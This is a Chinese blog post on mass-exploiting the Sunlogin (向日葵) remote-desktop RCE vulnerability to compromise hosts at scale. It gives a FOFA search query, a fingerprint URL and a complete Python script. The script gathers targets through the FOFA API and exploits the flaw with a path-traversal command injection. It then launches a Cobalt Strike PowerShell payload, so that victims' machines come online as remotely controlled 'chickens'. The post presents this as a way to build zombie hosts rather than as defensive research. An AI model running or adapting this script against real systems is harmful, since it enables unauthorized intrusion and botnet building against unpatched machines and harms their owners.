Skip to content

NDAY批量上线

向日葵RCE

在实战中 往往不方便直接用自己的主机进行测试

这个时候就需要去抓一些🐔 便于我们一些操作的进行,今天就给各位师傅提供一种方式也算是一种思路

首先不得不说向日葵的用户量还是非常大的,国内外的主机不计其数,rce的漏洞已经爆出快一年多了,但依旧有大量的主机服务器存在该rce 且存在漏洞的主机甚至都没有装杀软 运维人员简直懒到了极点

抓🐔的第一步肯定是先确定🐔的属性 然后抓成功的概率也就高一点

定位资产

fofa的语法

body="Verification failure" && country="CN"

互联网暴露资产29469台

脚本实现

python对接fofa api 进行信息收集自动化

然后是漏洞指纹 进一步确定资产

/cgi-bin/rpc?action=verify-haras

python实现

通过上面的手法 就已经能够去找到一些存在漏洞的主机了,这也是平时批量刷src的技巧,但我们的目标是上线、远控、肉鸡

因为大多数的向日葵都是win主机所以我们这里这上渗透神器cobaltstrike Screen

生成powershell远控脚本

python实现

然后就到了最关键的一步 依据以上姿势编写整体脚本 在服务器上运行 或者肉鸡上运行 实现键指一动 敌方主机已上线

cs自动上线 睡醒起来看🐔就好啦

脚本源码地址

项目地址

https://github.com/ckcsec/xrk-rce

python
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import base64
def main():
    pn=0
    index=0
    testStr = 'body="Verification failure" && country="CN"'
    b64 = str(base64.b64encode(testStr.encode('utf-8')), 'utf-8')

    pn+=1
    url='https://fofa.info/api/v1/search/all?email=你的邮箱&key=你的key&qbase64={}&size=10000'.format(b64)
    print(url)
    r=requests.get(url=url).json()['results']
    print(r)
    print(len(r))
    for i in r:
        ip=i[0]
        poc(ip)
def poc(ip):
    print(ip)
    url='http://{}/cgi-bin/rpc?action=verify-haras'.format(ip)
    headers={'Host':'{}'.format(ip),
             'Cache-Control':'max-age=0',
             'Upgrade-Insecure-Requests': '1',
             'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36',
             'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
             'Accept-Encoding': 'gzip, deflate',
             'Accept-Language': 'zh-CN,zh;q=0.9',
             'Connection': 'close'}
    try:
        r=requests.get(url,headers=headers,timeout=5).json()['verify_string']
    except:
        print('超时:',ip)
    else:
        print(r)
        exp(ip, verify_string=r)
def exp(ip,verify_string):
    url = 'http://{}/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+cs生成的powershell'.format(ip)
    headers = {'Host':'{}'.format(ip),
               'Cache-Control':'max-age=0',
               'Upgrade-Insecure-Requests':'1',
               'Cookie':'CID={}'.format(verify_string),
               'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36',
               'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
               'Accept-Encoding':'gzip, deflate',
               'Accept-Language':'zh-CN,zh;q=0.9',
               'Connection': 'close'}
    try:
        r=requests.get(url,headers=headers,timeout=2)
    except:
        print('exp超时:',ip)
    else:
        print('succ:',r.text)
        with open('向日葵REC_SUCC1115.txt','a+') as f:
            f.write(ip)
            f.write('\n')
if __name__ == '__main__':
    main()